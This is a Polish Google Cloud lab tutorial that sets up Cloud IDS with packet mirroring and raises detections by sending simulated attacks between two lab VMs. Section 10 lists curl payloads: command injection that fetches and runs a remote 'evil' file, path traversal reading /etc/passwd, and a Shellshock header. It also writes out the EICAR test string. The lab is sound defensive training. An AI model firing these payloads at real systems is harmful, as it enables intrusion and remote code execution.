1. Wprowadzenie
W tym laboratorium wdrożysz Cloud IDS, zaawansowaną usługę wykrywania włamań nowej generacji, która wykrywa zagrożenia związane z włamaniem, złośliwym oprogramowaniem, programami szpiegowskimi oraz przejęciem kontroli (atakami C&C). Przeprowadzisz symulację wielu ataków i wyświetlisz szczegóły zagrożeń w Cloud Console.
Czego się nauczysz
- Jak utworzyć punkt końcowy Cloud IDS
- Jak utworzyć 2 maszyny wirtualne za pomocą poleceń gcloud
- Tworzenie zasady dublowania pakietów
- Symulowanie ruchu związanego z atakiem z maszyny wirtualnej
- Jak wyświetlać szczegóły zagrożeń w Cloud Console i Cloud Logging
Czego potrzebujesz
- znajomość podstawowych poleceń systemu Linux;
2. Przypadki użycia Cloud IDS
Cloud IDS to natywna usługa Google Cloud do wykrywania włamań nowej generacji, która pomaga klientom spełniać wymagania dotyczące zaawansowanego wykrywania zagrożeń i zgodności, takie jak PCI 11.4. Usługa ta korzysta z technologii ochrony przed zagrożeniami Palo Alto Networks, aby zapewniać zaawansowane wykrywanie włamań. Połączenie światowej klasy infrastruktury Google Cloud ze światowej klasy zabezpieczeniami Palo Alto Networks zapewnia klientom niezrównane połączenie w pełni zarządzanej, wydajnej i wysoce skutecznej usługi wykrywania zaawansowanych zagrożeń.
Klienci, którzy przenoszą swoje usługi do chmury, zwracają szczególną uwagę na bezpieczeństwo. Chcą mieć podobne mechanizmy kontroli zabezpieczeń jak w przypadku środowiska lokalnego, np. usługę wykrywania włamań (IDS) w chmurze. Zdecydowanie wolą korzystać z natywnego dla chmury zarządzanego rozwiązania IDS ze względu na łatwość wdrażania, wysoką wydajność i zoptymalizowane koszty w porównaniu z wdrażaniem rozwiązania zabezpieczającego innej firmy i zarządzaniem infrastrukturą lub używaniem własnych sygnatur. Google Cloud IDS to kompleksowa, zarządzana usługa wykrywania włamań z autoskalowaniem, która umożliwia klientom analizowanie zagrożeń i minimalizowanie ich skutków. Dzięki temu mogą oni zaoszczędzić czas i zasoby, które w przeciwnym razie musieliby poświęcić na zarządzanie infrastrukturą lub sygnaturami zagrożeń.
Usługa Cloud IDS jest wdrażana poza pasmem i może wykrywać zagrożenia oraz wysyłać o nich alerty, ale nie może ich blokować. Wykorzystuje ona funkcję dublowania pakietów Google Cloud do tworzenia kopii ruchu w sieci, która jest analizowana za pomocą silnika wykrywania zagrożeń Palo Alto Network.
3. Topologia ćwiczeń z programowania

Rysunek 1. Ogólny przegląd architektury wdrażania Cloud IDS na potrzeby tego modułu.
4. Konfiguracja i wymagania
Samodzielne konfigurowanie środowiska
- Zaloguj się w konsoli Google Cloud i utwórz nowy projekt lub użyj istniejącego. Jeśli nie masz jeszcze konta Gmail ani Google Workspace, musisz je utworzyć.



- Nazwa projektu to wyświetlana nazwa uczestników tego projektu. Jest to ciąg znaków, który nie jest używany przez interfejsy API Google. Możesz go w dowolnym momencie zaktualizować.
- Identyfikator projektu musi być unikalny we wszystkich projektach Google Cloud i jest niezmienny (nie można go zmienić po ustawieniu). Konsola Cloud automatycznie generuje unikalny ciąg znaków. Zwykle nie musisz się nim przejmować. W większości modułów z kodem musisz odwoływać się do identyfikatora projektu (zwykle oznaczanego jako
PROJECT_ID). Jeśli Ci się nie podoba, wygeneruj inny losowy identyfikator lub spróbuj użyć własnego i sprawdź, czy jest dostępny. Po utworzeniu projektu jest on „zamrażany”. - Istnieje też trzecia wartość, czyli numer projektu, którego używają niektóre interfejsy API. Więcej informacji o tych 3 wartościach znajdziesz w dokumentacji.
- Następnie musisz włączyć płatności w konsoli Cloud, aby korzystać z zasobów i interfejsów API Google Cloud. Ukończenie tego laboratorium nie powinno wiązać się z dużymi kosztami, a nawet z żadnymi. Aby wyłączyć zasoby i uniknąć naliczenia opłat po zakończeniu tego samouczka, postępuj zgodnie z instrukcjami „czyszczenia” na końcu ćwiczenia. Nowi użytkownicy Google Cloud mogą skorzystać z bezpłatnego okresu próbnego, w którym mają do dyspozycji środki w wysokości 300 USD.
Uruchamianie Cloud Shell
Z Google Cloud można korzystać zdalnie na laptopie, ale w tym module praktycznym będziesz używać Google Cloud Shell, czyli środowiska wiersza poleceń działającego w chmurze.
W konsoli GCP kliknij ikonę Cloud Shell na pasku narzędzi w prawym górnym rogu:

Uzyskanie dostępu do środowiska i połączenie się z nim powinno zająć tylko kilka chwil. Po zakończeniu powinno wyświetlić się coś takiego:

Ta maszyna wirtualna zawiera wszystkie potrzebne narzędzia dla programistów. Zawiera również stały katalog domowy o pojemności 5 GB i działa w Google Cloud, co znacznie zwiększa wydajność sieci i usprawnia proces uwierzytelniania. Wszystkie zadania w tym module możesz wykonać w przeglądarce.
5. Zanim zaczniesz
Włącz interfejsy API
W Cloud Shell sprawdź, czy identyfikator projektu jest skonfigurowany.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Włącz wszystkie niezbędne usługi
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Utwórz sieć VPC
Sieć VPC
Z Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Podsieć
Z Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Prywatny dostęp do usług
Z Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Połączenie Private Service Connect
Z Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Reguły zapory sieciowej
Aby umożliwić IAP połączenie z instancjami maszyn wirtualnych, utwórz regułę zapory sieciowej, która:
- Dotyczy wszystkich instancji maszyn wirtualnych, które mają być dostępne przez IAP.
- Zezwala na ruch przychodzący z zakresu adresów IP 35.235.240.0/20. Ten zakres zawiera wszystkie adresy IP, których IAP używa do przekierowywania TCP.
Z Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Aby zezwolić na standardowy port HTTP (TCP 80) i protokół ICMP na serwerze:
- Dotyczy zasobów z tagiem sieci „server”
- Dopuszcza ruch przychodzący ze wszystkich źródeł
Z Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Tworzenie instancji Cloud NAT
Cloud Router
Z Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Z Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Tworzenie punktu końcowego Cloud IDS
W tej sekcji utworzysz punkt końcowy Cloud IDS w regionie us-east1 z poziomem ważności ustawionym na informacyjny. Tworzenie punktu końcowego systemu wykrywania włamań trwa około 20 minut.
Punkt końcowy systemu wykrywania włamań
Z Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Sprawdź, czy punkt końcowy Cloud IDS został zainicjowany
gcloud ids endpoints list --project=$PROJECT_ID
Dane wyjściowe –
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Tworzenie 2 maszyn wirtualnych
W tej sekcji utworzysz 2 maszyny wirtualne. Pierwszy to serwer WWW, który jest dublowany w Cloud IDS. Druga maszyna wirtualna będzie źródłem ruchu atakującego.
Maszyna wirtualna 1 (serwer)
Z Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Maszyna wirtualna 2 (klient)
Z Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Przygotowywanie serwera
W tym zadaniu zweryfikujesz serwer i udostępnisz klientowi nieszkodliwy ładunek złośliwego oprogramowania.
Łączenie się z maszyną wirtualną przez SSH za pomocą Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Sprawdzanie, czy usługa internetowa działa
sudo systemctl status nginx
Wynik – sprawdź, czy jest aktywny i działa
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Zmień katalog na usługę internetową
cd /var/www/html/
Utwórz na serwerze WWW plik z nieszkodliwym złośliwym oprogramowaniem.
sudo touch eicar.file
Wklej zawartość
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Wróć do Cloud Shell
exit
Tworzenie zasady dublowania pakietów Cloud IDS
Zidentyfikuj regułę przekazywania punktu końcowego systemu wykrywania włamań i sprawdź, czy stan punktu końcowego systemu wykrywania włamań to „GOTOWY”.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Przykładowe dane wyjściowe – skopiuj wartość z pola „endpointForwardingRule”
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Zapisz regułę przekazywania punktu końcowego systemu wykrywania włamań w zmiennej.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Zasady dublowania pakietów
Z Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Sprawdź, czy zasada dublowania pakietów została utworzona
Z Cloud Shell
gcloud compute packet-mirrorings list
Wyniki
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Symulowanie ruchu związanego z atakiem
Nawiązywanie połączenia SSH z maszyną wirtualną atakującego (klientem)
Z Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Uruchom te żądania curl, aby zasymulować złośliwy ruch.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Wyjdź z maszyny wirtualnej, aby wrócić do Cloud Shell.
exit
11. Sprawdzanie zagrożeń wykrytych przez Cloud IDS
Otwieranie panelu Cloud IDS
Menu nawigacyjne > Bezpieczeństwo sieciowe > Cloud IDS

Otwórz kartę Zagrożenia.

Jak widać, Cloud IDS przechwycił różne profile ruchu związanego z atakami i podał szczegóły dotyczące każdego zagrożenia. Jeśli nie widzisz żadnych zagrożeń, konieczne może być kliknięcie przycisku „Odśwież”. Teraz przyjrzymy się bliżej szczegółom zagrożenia.
Znajdź zagrożenie „Bash Remote Code Execution Vulnerability” (Luka w zabezpieczeniach umożliwiająca zdalne wykonanie kodu w Bashu) i kliknij 3 kropki po prawej stronie, a następnie wybierz „Wyświetl szczegóły zagrożenia”.


Teraz wyświetlimy szczegóły tego incydentu w Cloud Logging. Wróć na stronę Zagrożenia, klikając strzałkę w lewo .
Kliknij trzy kropki po prawej stronie i wybierz „Wyświetl logi zagrożeń”.


Te same szczegóły są przekazywane do Cloud Logging. Umożliwia to wysyłanie logów do Cloud Storage, Chronicle lub dowolnego systemu SIEM/SOAR. Możesz też tworzyć niestandardowe przepływy pracy, aby podejmować działania naprawcze na podstawie alertów, np. tworzyć funkcję w chmurze, która jest wywoływana przez alert i tworzy lub aktualizuje regułę zapory sieciowej, aby blokować adres IP, albo tworzy lub aktualizuje zasadę Cloud Armor.
12. Procedura czyszczenia
Zamykanie instancji maszyny wirtualnej (wszystkie karty)
exit
Usuwanie komponentów laboratorium z jednego terminala Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Gratulacje!
Gratulujemy ukończenia ćwiczenia.
Omówione zagadnienia
- Przypadki użycia Cloud IDS
- Wymagania związane z siecią
- Obsługiwane interfejsy API
- Utworzono punkt końcowy Cloud IDS
- Wdrożono 2 maszyny wirtualne
- Wygenerowano ruch „ataku” z klienta.
- Wykryte przez system IDS zweryfikowane zagrożenia
- Sprawdzanie szczegółów zagrożeń i dzienników